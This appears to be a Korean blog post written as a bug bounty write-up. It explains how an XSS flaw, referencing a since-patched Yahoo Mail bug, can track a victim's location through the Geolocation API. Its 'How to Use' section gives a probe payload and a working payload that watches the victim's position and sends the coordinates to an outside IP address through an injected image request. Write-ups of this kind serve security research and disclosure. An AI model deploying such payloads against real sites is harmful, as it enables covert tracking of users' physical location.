상세 컨텐츠

본문 제목

[WEB] bug bounty Write-up_Location tracking(XSS)

기술보안/Web

by about_SC 2020. 7. 1. 10:20

본문

____intro.

 

보통, XSS를 발견하게 되면 타 사용자 세션정보를 탈취하거나(document.cookie) 악성 사이트로의 리다이렉트 공격(document.loaction)을 일반적으로 수행하게 됩니다.

하지만, 그 외에도 위치저보를 출력할 수 있습니다. 이는 HTML5에 도입된 자바스크립트 API인 Geolocation API을 이용하면 가능하게 됩니다.

 

자세한 내용은 아래의 링크를 통해 알아보자.
Geolocation API(GPS)
https://www.zerocho.com/category/HTML&DOM/post/59155228a22a5d001827ea5d

 

(HTML&DOM) Geolocation API(GPS) - 위치 정보 가져오기

안녕하세요. HTML5에 도입된 자바스크립트 API 첫 시간으로 Geolocation을 선정했습니다. 요즘 핸드폰 앱들을 보면 GPS 정보를 요구하는 앱들이 많죠. GPS 정보를 맞아서 자신 주변의 맛집이나 정보들을

www.zerocho.com


조금 유의할 점이 있다고 하면, 일부 브라우저와 모바일 웹에서는 speed나 altitude 같은 것을 지원해주지 않는 경우가 많다고 합니다. 위도와 경도의 변화를 이용해서 거리를 찾을 수 있고, 속도 = 거리 / 시간이기 때문에 이 공식을 활용해서 speed를 찾으면 됩니다. altitude는 지원하지 않으면 찾을 수 없습니다. 참고로 크롬에서는 https와 localhost에서만 동작합니다. 개인정보 보호 및 보안을 위해 그렇게 조치한 것 같습니다.

 

#1. Sample Code

location js sample 1.js
0.00MB

 

 

#2. Sample Code

location js sample 2.js
0.00MB

 

 

 

____How to Use.



아래의 XSS Payload(location)는 야후에서 6월초 발생했던 취약점으로 현재는 패치가 진행되었습니다. 생각보다 사용자 입력값에 대한 필터링이 1차적으로 구현되어 있는 경우가 많습니다. 다양한 도메인을 스캔해보기 전에 사이트별 필터링 정책이 어느정도 Depth로 이루어져 있는지 파악해보는 것이 중요합니다.



Step 1) XSS 가능성 확인

“> <img src = x onerror =”a = alert; a (1);”. jpg


Step 2) location tracking XSS Payload

' "> <img src ="x "onerror ="v = prompt; navigator.geolocation.watchPosition (function (loc) {m ='위치 latitiude '+ loc.coords.latitude +'long titue '+ loc.coords.longitude ; v (m); b = document.createElement ( 'img'); b.src = 'http / 104.131.35.19? c ='+ m;}) ">

위와 같은 Payload를 통해 희생자의 위치 추척이 가능하게 됩니다.

 

 

____Reference.

https://medium.com/@kminthein/stored-xss-in-yahoo-mail-ios-app-3500-6b40e86358b9

 

Stored XSS in Yahoo mail IOS app($3500)

Intro

medium.com

 

관련글 더보기